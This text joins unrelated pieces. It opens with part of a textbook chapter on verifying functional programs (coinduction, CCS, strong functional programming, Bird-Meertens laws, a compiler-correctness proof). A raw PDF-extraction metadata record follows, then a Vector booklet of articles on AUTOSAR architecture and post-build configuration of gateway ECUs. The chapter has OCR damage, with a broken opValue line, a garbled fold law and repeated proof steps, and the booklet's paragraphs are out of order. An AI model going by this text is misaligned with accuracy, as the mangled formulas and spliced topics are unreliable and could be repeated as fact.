\[ \text{facs} \ (n+1) \Rightarrow \text{fac} \ (n+1) : \text{zipWith} \ (*) \ [(n+2)\ldots] \ (\text{facs} \ (n+1)) \]
Now observe the two expressions. They have equal heads, and their tails are related by \( S \) since they are applications of the function \( \text{zipWith} \ (*) \ [(n+2)\ldots] \)
to lists which are related by \( S \), namely
\[ \text{zipWith} \ (*) \ [(n+1)\ldots] \ (\text{facs} \ n) \simeq \text{facs} \ (n+1) \]
This establishes the result \( \text{zipFac} \), and the consequence that
\[ \text{facs} \ n \simeq \text{fac} \ n : \text{facs} \ (n+1) \]
Now we prove that
\[ \text{facs} \ n \simeq \text{map fac} \ [n\ldots] \]
by showing that the relation
\[ R \equiv \{ \text{facs} \ n , \text{map fac} \ [n\ldots] \mid n \in \text{Nat} \} \]
is a bisimulation. Taking a typical pair, we have,
\[ \text{facs} \ n \simeq \text{fac} \ n : \text{facs} \ (n+1) \Rightarrow \text{fac} : \text{facs} \ [(n+1)\ldots] \]
which establishes that \( R \) is a bisimulation and in particular shows that
\[ \text{facs} \ 0 \simeq \text{map fac} \ [0\ldots] \]
as we sought.
It is interesting to observe that recent work has shown that coinduction principles can be derived directly in domain theory; see [464] for more details.
4.8.4 Process Algebra
Of the many approaches to describing concurrency and non-determinism, most extend the imperative model of computation. Distinctive, therefore, are the process algebras (or process calculi) CSP [277] and CCS [393], which take a declarative model of concurrent processes. Although they differ in substantial details, their similarities outweigh their differences, and therefore the discussion here will concentrate on CCS. The use of CSP is described in detail in Chapter chap:proc.
Processes (or, rather more accurately, states of processes) are represented in CCS by expressions, with definitions of the form
\[ A = (a.A + b.(B\mid C)) \]
The process $A$ is defined so that, performing the action $a$, $A$ can evolve to $A$, or $(+)$, performing the action $b$, it can evolve to the parallel composition $B | C$. One can see the sequencing operation, \( \cdot \), as generalising the lazy \( :: \) which appears in definitions of infinite lists like
\[
natsFrom n = n : natsFrom (n+1)
\]
The usual form of reasoning about CCS is equational, with equality characterised by a bisimulation relation, generalising the description in Section 4.8.2, and so one can view the lazy-stream characterisation of processes as embedding this part of functional programming in a general view of deterministic concurrency.
The set of processes in a CCS expression is fixed; in the $\pi$-calculus – which axiomatises name passing in a CCS style – processes can be created, destroyed and reconfigured, again in a declarative manner. A general introduction to the $\pi$-calculus and other action calculi is given in [394].
4.9 Strong Functional Programming
We have seen that the potential for non-termination makes program verification more complicated. Because of this there is interest in programming languages which are “strong” in the sense of providing only the means to define terminating functions.
These languages are also attractive to the implementor, since if all programs terminate however they are evaluated there is a substantially wider choice of safe evaluation strategies which can be chosen without there being a risk of introducing non-termination; this applies in particular to adopting parallel implementation strategies.
In this section we give a brief overview of various of these research directions. A general point to examine is the degree to which each approach limits a programmer’s expressivity.
4.9.1 Elementary Strong Functional Programming
Turner [564] proposes a language with limited recursion and co-recursion as a terminating functional language which could be used by beginning programmers (in contrast to alternatives discussed later in this section). The language proposed will have compile-time checks for the termination of recursive definitions, along the lines of [375, 549]. The language also contains co-recursion, the dual of recursion, over co-data, such as infinite lists (the greatest fixed point of a particular type equality). An example of co-data is given by the definition of the infinite list of factorials,
\[
facs = 1 : \text{zipWith} (*) [1..] \text{facs}
\]
This definition is recognisable as a “productive” definition, since the recursive call to \texttt{facs} on the right hand side is protected within the constructor “;”; and so there is a guarantee that the top-level structure of the co-datum is defined. Proof of properties of these corecursive objects is by coinduction, as discussed above.
Note the duality between these productive definitions over co-data with primitive recursive definitions over data, as exemplified by the definition of the function which gives the length of a (finite) list:
\[
\text{length } (x:xs) = 1 + \text{length } xs
\]
Here the recursive call to \texttt{length} is on a component of the argument, \((x:xs)\), which is contained in the application of the constructor “;”; thus primitive recursive definitions require at least one level of structure in their arguments whilst productive definitions give rise to at least one level of structure in their results.
The disadvantage of this approach is that it must rely on the compile-time algorithms which check for termination. It is not clear, for instance, whether the earlier definition of the \texttt{lAssoc} function is permitted in this system, and so the expressivity of the programmer is indeed limited by this approach. On the other hand, it would be possible to implement such a system as a “strong” subset of an existing language such as Haskell, and to gain the advantage of remaining in the terminating part of the language whenever possible.
4.9.2 Constructive Type Theories
Turner’s language eschews the more complex dependent types of the constructive type theories of Martin-Löf and others [424, 550]. These languages are simultaneously terminating functional languages and constructive predicate logics, under the Curry/Howard Isomorphism which makes the following identifications:
<table>
<thead>
<tr>
<th>Programming</th>
<th>Logic</th>
</tr>
</thead>
<tbody>
<tr>
<td>Type</td>
<td>Formula</td>
</tr>
<tr>
<td>Program</td>
<td>Proof</td>
</tr>
<tr>
<td>Product/record type</td>
<td>&</td>
</tr>
<tr>
<td>Sum/union type</td>
<td>\lor</td>
</tr>
<tr>
<td>Function type</td>
<td>\rightarrow</td>
</tr>
<tr>
<td>Dependent function type</td>
<td>\forall</td>
</tr>
<tr>
<td>Dependent product type</td>
<td>\exists</td>
</tr>
<tr>
<td>...</td>
<td>…</td>
</tr>
</tbody>
</table>
in which it is possible in an integrated manner to develop programs and their proofs of correctness.
From the programming point of view, there is the addition of dependent types, which can be given by functions which return different types for different argument values: an example is the type of vectors, \texttt{Vec}, where \texttt{Vec(n)}
is the type of vectors of length \( n \). Predicates are constructed in a similar
way, since a predicate yields different logical propositions – that is types –
for different values.
Predicates (that is dependent types) can be constructed inductively as a
generalisation of algebraic types. We might define the less than predicate
“\(<\)” over \( \text{Nat} \) – the type of natural numbers – by saying that there are two
constructors for the type:
\[
\begin{align*}
\text{ZeroLess} & : (\forall n :: \text{Nat})(0 < S n) \\
\text{SuccLess} & : (\forall n :: \text{Nat})(\forall m :: \text{Nat})((m < n) \rightarrow (S m < S n))
\end{align*}
\]
This approach leads to a powerful style of proof in which inductions are
performed over the form of proof objects, that is the elements of types like
(\( m < n \)), rather than over (say) the natural numbers. This style makes proofs
both shorter and more readable, since the cases in the proof reflect directly
the inductive definition of the predicate, rather than being over the inductive
definition of the data type, which in this case is the natural numbers.
A more expressive type system allows programmers to give more accurate
types to common functions, such as function which indexes the elements of
a list.
\[
\text{index} :: (\forall xs :: [a])(\forall n :: \text{Nat})((n < \text{length} \, xs) \rightarrow a)
\]
An application of \( \text{index} \) has three arguments: a list, \( xs \) and a natural number
\( n \) – as for the standard index function – and a third argument which is of
type (\( n < \text{length} \, xs \)), that is a proof that \( n \) is a legitimate index for the list
in question. This extra argument becomes a proof obligation which must
be discharged when the function is applied to elements \( xs \) and \( n \).
The expressivity of a constructive type theory is determined by its proof-
theoretic strength, so that a simple type theoretic language (without uni-
verses) would allow the definition of all functions which can be proved to be
total in Peano Arithmetic, for instance. This includes most functions, except
an interpreter for the language itself.
For further discussions of constructive type theories see [424, 550].
4.9.3 Algebra of Programming
The histories of functional programming and program transformation have
been intertwined from their inception. Serious program manipulations are
not feasible in modern imperative languages which allow aliasing, pointer
and reference modifications, type casting and so forth.
More suited are current functional languages which support the definition
of general operations – such as map, filter and fold over lists – as polymorphic
higher-order functions. Indeed, these higher-order operators can be sufficient
to define all functions of interest. This was the insight of Backus in defining
FP, [27], and has been developed by a number of researchers, most notably by
Bird and Meertens, [47], who are responsible for the Bird-Meertens formalism
(BMF). Their approach is to build a calculus or algebra of programs built from a fixed set of combining forms, with laws relating these combinators expressed at the function level, such as
$$\text{map } (f \circ g) \equiv \text{map } f \circ \text{map } g \quad \text{(mapComp)}$$
These laws are expressed in a logic which extends the definitional equality of the programming language, and essentially equational reasoning in that logic allows transformations to be written down in a formal way. On the other hand, laws such as (mapComp) will themselves be proved by structural induction; for a proof of this result and many other examples of properties of list-based functions see [552].
What is the intensional reading of a law like (mapComp)? It shows that two traversals of a list structure, $\text{map } f \circ \text{map } g$ is equivalent to a single traversal, $\text{map } (f \circ g)$; this clearly has efficiency implications. In a similar way, the fold of an associative operator into a non-empty list enjoys the property
$$\text{foldr1 } f (xs ++ ys) \equiv (\text{foldr1 } f xs) \cdot f \cdot (\text{foldr } f ys) \quad \text{(foldAssoc)}$$
in the case that $xs$ and $ys$ are themselves non-empty. The intension of (foldAssoc) is dramatic, with the left hand side representing a single left-to-right traversal of a list and the right hand showing that this can be computed by means of two parallel computations over the two halves of the list.
Many of the combining forms of BMF correspond to skeletons (Chapter 13), and so the laws governing these forms will transfer to skeletons.
The most recent development of this work is Bird and de Moor’s [51] in which they use the constructs of category theory to express their functional programming language. Their categorical approach means that they are able to provide general rules for equational program manipulation at a very high level. For instance, they are able to formulate in a datatype-independent way a “fusion” law by which a function is absorbed into a primitive-recursively defined function. A review of [51] which explains this work in more detail can be found in [467].
4.10 Conclusion
This chapter has given an introduction to the methods used in verifying functional programs, including references to further work in axiomatising more complex aspects of the functional paradigm. These methods can in most cases be transferred to parallel functional programs, since the proofs reflect the extensional properties of programs which are likely to be independent of the chosen evaluation strategy.
More specific ties to parallel functional programming are provided by the process model of lazy streams and its links to general process algebra. A
second link is given by the combinatorial style of FP or the Bird-Meertens formalism, in which laws expressing equivalences between extensionally equal programs can be given an intensional meaning as transformations which improve efficiency or increase parallelism.
data IntExp = Literal Int |
Binary Op IntExp IntExp
data Op = Add | Sub | Mul
opValue :: Op -> (Int -> Int -> Int)
eval :: IntExp -> Int
eval (Literal int) = int
eval (Binary op ex1 ex2) = o pV a l u e o p(e v a l e x 1)(e v a l e x 2)
data Code = PushLit Int |
DoBinary Op
type Program = [Code]
compile :: IntExp -> Program
compile (Literal int) = [PushLit int]
compile (Binary op ex1 ex2) = compile ex1 ++ compile ex2 ++ [DoBinary op]
type Stack = [Int]
run :: Program -> Stack -> Stack
run [] stack = stack
run (PushLit int : program) stack = run program (int : stack)
run (DoBinary op : program) (v2:v1:stack) = run program (opValue op v1 v2 : stack)
run _ _ = []
Figure 4.1. A simple interpreter and compiler for expressions
4.10 Conclusion
Base case
\[\text{run (compile } \text{Literal int} \text{) } \text{++ program) stack} \equiv \{ \text{by (compile.1)} \}\]
\[\text{run } ([\text{PushLit int}] \text{ } \text{++ program) stack} \equiv \{ \text{by definition of } \text{++} \}\]
\[\text{run (PushLit int : program) stack} \equiv \{ \text{by (run.2)} \}\]
\[\text{run program (int : stack) } \equiv \{ \text{by (eval.1)} \}\]
Induction case
\[\text{run (compile } \text{Binary op ex1 ex2) } \text{++ program) stack} \equiv \{ \text{by (compile.2) and associativity of } \text{++} \}\]
\[\text{run (compile ex1 } \text{++ compile ex2 } \text{++ [DoBinary op] } \text{++ program) stack} \equiv \{ \text{by the induction hypothesis for ex1 and associativity of } \text{++} \}\]
\[\text{run (compile ex2 } \text{++ [DoBinary op] } \text{++ program) (eval ex1 : stack) } \equiv \{ \text{by the induction hypothesis for ex2 and associativity of } \text{++} \}\]
\[\text{run ([DoBinary op] } \text{++ program) (eval ex2 : eval ex1 : stack) } \equiv \{ \text{by (run.3) and definition of } \text{++} \}\]
\[\text{run program (opValue op (eval ex1) (eval ex2) : stack) } \equiv \{ \text{by (eval.2) }\]
\[\text{run program (opValue op (eval ex1) (eval ex2) : stack) }\]
Correctness theorem
\[\text{run (compile e) [] } \equiv \{ \text{substitute [] for both program and stack in (goal)} \}\]
\[\text{run [] [eval e] } \equiv \{ \text{by (run.1) }\]
\[[\text{eval e}]\]
Figure 4.2. Proof of compiler correctness
|
{"Source-Url": "https://www.cs.kent.ac.uk/people/staff/sjt/Pubs/ProofChapter.pdf", "len_cl100k_base": 15737, "olmocr-version": "0.1.49", "pdf-total-pages": 27, "total-fallback-pages": 0, "total-input-tokens": 63877, "total-output-tokens": 17532, "length": "2e13", "weborganizer": {"__label__adult": 0.0003845691680908203, "__label__art_design": 0.00032973289489746094, "__label__crime_law": 0.0002994537353515625, "__label__education_jobs": 0.000701904296875, "__label__entertainment": 7.152557373046875e-05, "__label__fashion_beauty": 0.0001596212387084961, "__label__finance_business": 0.0001804828643798828, "__label__food_dining": 0.00047087669372558594, "__label__games": 0.0006365776062011719, "__label__hardware": 0.0007309913635253906, "__label__health": 0.0005130767822265625, "__label__history": 0.00025177001953125, "__label__home_hobbies": 9.614229202270508e-05, "__label__industrial": 0.00042510032653808594, "__label__literature": 0.0004520416259765625, "__label__politics": 0.0002963542938232422, "__label__religion": 0.0006761550903320312, "__label__science_tech": 0.0159912109375, "__label__social_life": 8.51750373840332e-05, "__label__software": 0.0034942626953125, "__label__software_dev": 0.97265625, "__label__sports_fitness": 0.000362396240234375, "__label__transportation": 0.0007367134094238281, "__label__travel": 0.000217437744140625}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 61168, 0.01624]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 61168, 0.68391]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 61168, 0.883]], "google_gemma-3-12b-it_contains_pii": [[0, 2458, false], [2458, 5439, null], [5439, 6837, null], [6837, 9461, null], [9461, 11710, null], [11710, 13593, null], [13593, 15626, null], [15626, 18108, null], [18108, 20738, null], [20738, 23109, null], [23109, 25565, null], [25565, 28030, null], [28030, 30758, null], [30758, 32778, null], [32778, 34847, null], [34847, 38130, null], [38130, 40877, null], [40877, 43622, null], [43622, 45686, null], [45686, 47639, null], [47639, 50108, null], [50108, 52928, null], [52928, 55922, null], [55922, 58652, null], [58652, 58918, null], [58918, 59680, null], [59680, 61168, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2458, true], [2458, 5439, null], [5439, 6837, null], [6837, 9461, null], [9461, 11710, null], [11710, 13593, null], [13593, 15626, null], [15626, 18108, null], [18108, 20738, null], [20738, 23109, null], [23109, 25565, null], [25565, 28030, null], [28030, 30758, null], [30758, 32778, null], [32778, 34847, null], [34847, 38130, null], [38130, 40877, null], [40877, 43622, null], [43622, 45686, null], [45686, 47639, null], [47639, 50108, null], [50108, 52928, null], [52928, 55922, null], [55922, 58652, null], [58652, 58918, null], [58918, 59680, null], [59680, 61168, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 61168, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 61168, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 61168, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 61168, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 61168, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 61168, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 61168, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 61168, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 61168, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 61168, null]], "pdf_page_numbers": [[0, 2458, 1], [2458, 5439, 2], [5439, 6837, 3], [6837, 9461, 4], [9461, 11710, 5], [11710, 13593, 6], [13593, 15626, 7], [15626, 18108, 8], [18108, 20738, 9], [20738, 23109, 10], [23109, 25565, 11], [25565, 28030, 12], [28030, 30758, 13], [30758, 32778, 14], [32778, 34847, 15], [34847, 38130, 16], [38130, 40877, 17], [40877, 43622, 18], [43622, 45686, 19], [45686, 47639, 20], [47639, 50108, 21], [50108, 52928, 22], [52928, 55922, 23], [55922, 58652, 24], [58652, 58918, 25], [58918, 59680, 26], [59680, 61168, 27]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 61168, 0.01517]]}
|
olmocr_science_pdfs
|
2024-11-24
|
2024-11-24
|
7f92ac82c9128ba40630885803e16f9e0338fe00
|
Summary of AUTOSAR Competence
2008 – Time for AUTOSAR
Dear reader,
AUTOSAR represents a breakthrough and a milestone in the development of modern automotive technology. This future-oriented standard for ECU software in the vehicle improves reusability and interchangeability for automotive OEMs and suppliers.
For years now, Vector has been an active participant in implementation of this forward-thinking technology. The expertise we have acquired has made us an experienced partner when it comes to AUTOSAR. This has resulted in successful evaluation of Vector AUTOSAR software in numerous practical projects and a production-mature AUTOSAR basic software package.
Much of our knowledge and experience from these AUTOSAR projects has been compiled in numerous technical articles. We are providing these articles to you in the form of a compact collection – we hope that you find them to be stimulating and informative in the context of your future projects.
2008 is the year of AUTOSAR. We look forward to supporting you in the implementation of your AUTOSAR projects.
I wish you much reading enjoyment!
Sincerely,
Ralph Dürr
Team leader: Embedded Software Sales
>> Contents
| AUTOSAR on its way to production | 2 – 4 |
| The Universal Gateway ECU | 5 – 8 |
| Early Migration creates Opportunities for Innovations | 9 – 11 |
| Successful Integration of Existing ECU Software in the AUTOSAR Architecture | 12 – 17 |
| Tool-Supported Integration of Microcontroller-Specific Modules | 18 – 20 |
AUTOSAR on its way to production
To master the growing complexity of software in modern vehicles, automotive OEMs are increasingly developing their electronic systems based on AUTOSAR. The standards created by this development partnership simplify development processes and make ECU software reusable. Since its introduction in 2004, this innovative and pioneering technology has been tested in many evaluation projects and is now entering an implementation phase in production ECUs. AUTOSAR standard software covers the current state of technology and is undergoing continual advanced development in new releases.
The automotive industry is being confronted with new times. Growth in the number of complex vehicle functions is making the development of automotive electronics increasingly more extensive and complicated. Customer wishes, e.g., for more variants and equipment variety in the vehicle, as well as non-functional requirements such as diagnostic capability and availability, are requiring more intensive ECU development processes. Vehicles, in particular luxury vehicles, may have more than approx. 1,000 software functions, several vehicle electrical networks and more than 70 ECUs. Due to the variety of hardware platforms used in this field, ECU software dependencies on the hardware and system configurations being used has become problematic. Each change to one of these constraints requires reprogramming or at least modification of the software.
To make the complexity of ECU software development manageable, the AUTOSAR development partnership has defined a practice-tested software architecture that serves as a foundation for developing reusable applications. This open standard for system architecture – created by automotive OEMs, suppliers and other companies in the global software, semiconductor and electronics industries – lets users avoid proprietary solutions that would result in increasingly high development cost and effort.
AUTOSAR subdivides the electronics architecture into a number of layers and modules. With the simultaneous definition of interfaces, AUTOSAR creates standards for easy exchange of software components or hardware platforms. The development partnership not only provides specifications for the base software modules. It also offers a methodology for developing applications and distributed systems. This methodology begins with a model-based description of the software applications and the distributed system, and ideally ends in an automatically generated and reproducible test. This formal approach simplifies the use of a universal tool chain.
A full three years after its start, the AUTOSAR development partnership published Release 2.1 at the beginning of 2007. A stable level was reached with this release, and it has been tested in several validation projects for its practical utility. At many businesses, the action item of “AUTOSAR evaluation” has been successfully completed. Now it is ready to be implemented in concrete production ECUs.
AUTOSAR architecture
To realize the objectives of AUTOSAR – separation of the application software from basic modules and functions – the vehicle electronics is abstracted and subdivided into several layers (Figure 1). The connection to the actual microcontroller, i.e. the physical foundation, is represented by the Microcontroller Abstraction Layer, which maps the microcontroller’s functions and periphery. It defines interfaces for memory, the I/O driver and its communication connections. In this layer, features that the microcontroller does not offer may also be emulated in software. The second layer that lies above this is the ECU Abstraction Layer. It establishes die ECU-specific hardware layout and provides drivers for the periphery external to the ECU, for example. In another layer, the Services Layer, various basic services are represented such as network services, memory management, bus communication services and the operating system. This layer is already largely independent of the hardware. The RTE represents the fourth layer. This is where the actual separation of application and basic software (BSW) is made. The RTE handles integration of the application software and regulates the exchange of data between the application and the BSW. It is only at this layer that reuse of already written application software is possible, because the defined interfaces make it possible to develop the application software without special knowledge of the hardware to be used at a later time, and the software can be used for any other AUTOSAR-conformant ECUs.
The so-called Virtual Functional Bus (VFB) forms the basis for configuration of the layers. All components of the vehicle’s electronics communicate in an abstracted view via this bus. The software components use ports for this, whose interfaces can be defined as port interfaces. Connectors connect the ports. It is irrelevant to the VFB whether this is a connection within an ECU or a connection via an external bus. This is not decided until the final system layout is made and specific functions are assigned to a specific ECU.

The AUTOSAR Initiative provides universal support for the software development process by tools. Mature tools are used for structured implementation of requirements and their consistent management; configurations are systematically created, and complex dependencies are automatically taken into account.
The first step involves formal description of the three primary constituents: Software (SW Components), ECUs (ECU Resources) and System Constraints.
Suitable editors are used to create a configuration description of the complete system (Figure 2). This system configuration serves as the basis for the ECU Configurations that the user creates for the individual basic software modules with the help of configuration tools. At the end of the process, multiple generators supply the ECU-specific implementation of the RTE and basic software.
All design and configuration data produced in the development process are described in a uniform format. AUTOSAR has defined an XML-based format for this purpose. On the one hand, it guarantees universality of the development process, and on the other it also simplifies seamless integration of necessary and auxiliary tools.
**Methodology**
Besides defining the ECU's software architecture, the AUTOSAR standard also defines a methodology to help in the development of AUTOSAR systems. Conformance to a structured creation process is recognized as an important precondition in creating error-free software. Deficiencies in the requirements list are detected early, reuse and porting of software components is simplified, and the overall system is more reliable. Nonetheless, this methodology also allows certain freedoms: for example, users can decide whether to use a top-down approach or a bottom-up development.
The software architecture of an AUTOSAR ECU is not monolithic, rather it consists of a number of standard modules with well-defined interfaces. This enables implementation of migration solutions that offer a risk-free transition to AUTOSAR. Such a migration solution must typically be worked out project-specifically. In prac-
---
**Figure 2:** Structural description of the software components. The creation process for AUTOSAR-conformant software components is organized in clearly prescribed development steps.
tice, this may involve a mixed configuration of standard AUTOSAR modules and proprietary software.
To work out a migration solution, one begins by comparing the existing custom software and the AUTOSAR architecture. After an analysis of overlapping functionalities and integration options, a decision is made regarding which modules will remain and which ones can be replaced by standard software.
So, it is advisable, for example, to introduce a separation layer between the application and basic software. A potential scenario in this case is to prepare the applications as AUTOSAR software components already in early migration phase, and to integrate them via an RTE. Beneath the RTE, a specific adaptation layer is used for interfacing to the existing basic software (Figure 3).
If parts of the existing basic software are to be replaced by AUTOSAR basic software, the emphasis should lie on the use of a uniform configuration tool for both worlds. Vector offers suitable tools here, which are flexible enough to be used to configure proprietary basic software too. Non-AUTOSAR modules can now be replaced by AUTOSAR modules in successive steps, without putting the overall architecture at risk or requiring reprogramming to other modules.
Outlook
The current AUTOSAR Release 3.0 represents another step taken to enhance the quality of the AUTOSAR standard. The continuing involvement of participating companies clearly demonstrates commitment to the goals of the AUTOSAR development partnership. Ideas are currently being introduced that should become a reality in the framework of the future Version 4.0 of the AUTOSAR standard.
New ideas related to AUTOSAR are also being generated by tool suppliers. Current developments at Vector are aimed at making AUTOSAR-based ECU development as convenient and efficient as possible. One example is a PC-based test tool for AUTOSAR application components, which serves as an emulator for the AUTOSAR ECU environment on the level of the VFB. This makes it easy to test the implementation code of the AUTOSAR software components on a development PC. Widely used standard tools such as Vector’s CANoe may be used for test execution, visualization during or after testing, and generation of test reports. Vector supports all phases of the ECU development process with its full set of AUTOSAR basic software and a universal tool chain of design and development tools (Figure 4). The available Vector solution has been tested in practice through its use in evaluation projects, and it is production-mature for AUTOSAR Release 2.0 or 2.1 (3.0 too starting in the 2nd quarter of 2008).
Summary
AUTOSAR is becoming a reality. Various OEMs have concrete plans for implementing AUTOSAR in upcoming vehicle production programs. Vector offers a comprehensive product lineup for this, as well as basic software and tools related to AUTOSAR. Not only does this enable the development of pure AUTOSAR systems; it can also support a stepwise migration toward AUTOSAR.
Matthias Wernicke
Graduate engineer
Matthias Wernicke (Graduate engineer) is responsible for product management of the DaVinci Tool Suite and is also actively engaged in AUTOSAR standardization work.
Embedded systems can be configured at different points in time: Before the source code runs through the build process, the so-called pre-compile configuration occurs. This enables efficient implementation of configurations, e.g., variants, by macros or C preprocessor switches. The link-time configuration is typically used to generate a library and to link it with ROM constants. Furthermore, there is the option of configuration during the run-time of the ECU (run-time configuration), e.g., by calibration or diagnostic commands. In such cases, the configuration parameters must be stored in RAM. In contrast to the configuration types already named, post-build configuration is performed on ECUs that have already been built by loading the configuration data into the ECU via a flash bootloader (Figure 1).
The AUTOSAR standard [1] defines three so-called Configuration Conformance Classes (CCC), which cover these different configuration times:
- CCC0 refers to a Pre-Compile Configuration
- CCC1 Link-Time Configuration
- CCC2 Post-Build Configuration.
Just which of these configuration options is in principle available for a specific basic software module depends on the character of the module. The RTE (Runtime Environment) supports only CCC0, because it is closely linked to the applications and consists of fully generated code. The operating system is also configured only at pre-compile time. Figure 2 shows – in the context of the AUTOSAR layer model – which configuration options exist for CAN communication modules.
For the most part, the modules belonging to the communication stack beneath the RTE support the post-build configuration per CCC2. Nonetheless, these modules have some pre-compile parameters such as the number of channels, use of data buffers (queues) and activation of debug modes. These settings must be known at the time the library is generated. In designing an ECU, a sensible strategy must be developed for using the post-build capabilities of neighboring modules. For example, it would make little sense to provide post-build capability to an individual module such as the PDU Router (PDU-R), while only granting pre-compile configuration to all other modules.
When is a post-build implemented for gateways?
If the functionality of individual ECUs changes, e.g., during a vehicle facelift, often changes must also be made to the communication matrix of one or more networks. This is where post-build comes into play and enables simple adaptation of the basic software responsible for communication between all ECUs of the affected network.
This eliminates the need for recompiling and linking the code. If a gateway ECU is designed to be post-build capable, it is easier to fit it into a standard ECU in different vehicle models. Gateway ECUs perform a majority of their tasks via the communications basic software. A vehicle facelift for such ECUs often consists of just new or modified routing relationships, for which all that is needed is a reconfiguration of the basic software. The primary motivation for using a post-build configuration is the fact that it avoids the need for a new build process, and the configuration can be performed in late development phases during ECU integration or even in the field. This approach is of special interest for gateway ECUs.
**The gateway ECU as flexible switchboard**
The main purpose of a gateway ECU is to distribute communication data among the individual networks in a vehicle. According to the AUTOSAR standard, various basic software modules of the ECU perform this task. Which modules are used depends on the specific gateway functionality that is needed:
**PDU gateway**
The PDU gateway is a part of the PDU router (Figure 3). It routes entire data packets, known as Protocol Data Units (PDUs), from one network to another. This principle assumes that the PDUs are defined identically on both the source and target networks, i.e. they must agree in length and contents. This means that data can also be exchanged between different bus systems such as CAN, LIN or FlexRay. Nonetheless, it should be noted that in accordance with the AUTOSAR specification the PDUs must be routed immediately after they are received. Consequently, the PDU router cannot perform send type or cycle time conversions. In some cases, however, such a conversion is necessary. An example of this might be a FlexRay-CAN gateway that routes a PDU from a FlexRay cluster to a CAN network as a CAN message. In this case, the gateway ECU must for example conform to minimum transmission delay requirements (debounce time) for the CAN message. In such cases, the PDUs are therefore routed directly to the COM layer, which then assumes this task.
**TP gateway**
Another task of the PDU router is to route transport protocol data. This comes into play, for example, if the extensive diagnostic data of an ECU need to be automatically transferred from one network to another. This involves receiving the data via the Transport Protocol (TP) and resending it. At first, the transmission occurs above the TP (Layer 4 in the ISO/OSI layers model), and this enables a conversion to different addressing methods and various bus systems. To keep delays and RAM requirements in the gateway as low as possible, the TP gateway supports so-called “on-the-fly routing”: The gateway does not wait until all TP data have been received, rather it already begins to resend the data at an earlier time point. Consequently, it receives and sends simultaneously.
**Signal gateway**
Often just individual signals are needed on the other network. In this case, the gateway does not transfer the entire PDU, but only sends individual signals to the other bus. To do this, it first disassembles a received PDU into individual signals, so that it can then assemble them into one or more send PDUs. Besides modifying the signal composition and signal positions within a PDU, the send type and cycle time can also be changed. This method is also used when a PDU should contain both routed signals and signals generated directly in the gateway ECU.
Technical aspects of post-build configuration
Data structures for the post-build configurable data essentially have two different types of layouts (Figure 4). In the non-fragmented variant 1, the data structures are arranged one directly after another in memory. The individual data structures are accessed via an indirection table located at a static position. The data structures on the other hand may vary in size depending on the post-build configuration. The remaining memory is a contiguous block that is available for other purposes. However, the basic software modules are highly dependent with respect to their implementation. If the basic software originates from different software suppliers, this variant generates a high coordination need and is therefore impractical.
In the fragmented variant 2, the data structures are always placed at a static position in memory. Here, at the time of design, an assumption is made concerning the largest possible memory usage of individual data structures. In practice, some unused memory between the data structures remains. With regard to runtime behavior, variant 2 is more efficient, since no indirection is needed in data access. Despite the fragmentation, this variant also offers advantages in terms of memory efficiency, since an indirection table is unnecessary.
The use of post-build data structures has an enormous effect on the design of the basic software modules. In the case of the pre-compile configuration, for example, the separation of code and data is not required. This makes it easier to implement configuration settings very efficiently with macros or preprocessor switches and to generate optimized C functions with the help of code generators. The principle of the post-build configuration, on the other hand, requires strict separation of code and data for post-build parameters. A generator is only available for generating constants tables. The C functions are static. Figure 5 shows how the different configuration concepts appear based on code examples.
A gateway ECU requires knowledge of large numbers of signals or messages. This information exists in the form of data structures in the ECU’s memory. As a result, in gateway ECUs the communication layers in the software architecture take up a considerable share of memory and runtime resources. Even when the more efficient variant 2 is selected, the post-build capable layout of the ECU typically causes increased resource requirements.
A tool chain for post-build configuration of gateway ECUs
Besides the aspects of memory and runtime resources in the ECU, the post-build principle also requires new processes to coordinate configuration parameters between participating development partners and exchange them reliably. One important source of support here is a well-functioning tool chain. Figure 6 shows the tool chain from Vector Informatik, which can also be used for post-build configuration of gateway ECUs.
for the individual basic software modules. This provides a foundation for developing the ECU based on the initial network description.
During the actual post-build process, these tables must be regenerated and exchanged in the ECU. The basis for this is a modified network description by the automotive OEM. If the updated tables now exist in binary format — and indeed in precisely the same form as the compiler would have created them — then another compiling and linking run is obsolete. The knowledge about the compiler behavior when generating the binary format is stored in GENy. This binary file is now converted to a standard hex format and is loaded into the ECU via the CANfbl flash bootloader. If the pre-config information is known to the automotive OEM, the OEM itself can also perform the post-build process directly.
**Summary**
The post-build process provides flexibility when changes are made in the communication description. Configuration is even possible in late development phases during ECU integration or in the field. This approach is especially useful for gateway ECUs, since it is possible to adapt them to modified network conditions without having to change the complete application code. However, the increased resource requirements must be taken into account. In any event, a gateway ECU is an interesting candidate for the post-build process, at least during the development phase.
**Reference:**
---
**Figure 5:**
Code examples for different configuration concepts
At the beginning of a development project, the ECU supplier sets up the project based on the Pre-Config1 parameter set. Vector provides this parameter set along with the base software delivery for the ECU, and it contains pre-compile parameters that do not have any effect on the post-build configuration. Examples of this are general settings and use of the Development Error Tracer (DET).
In coordination with the ECU supplier, the automotive OEM provides the Pre-Config2 parameter set and an initial network description (database). The Pre-Config2 parameter set contains those pre-compile and link-time parameters that have an effect on the post-build process and need to be defined in advance. Examples of this are the addresses of post-build data in the ECU, compiler options and maximum memory size (Flash and RAM). The initial network description, which the automotive OEM might create with the DaVinci Network Designer tool, for example, contains all signals relevant to the ECU. In the case of a gateway ECU, the routing relationships between the networks are also described there.
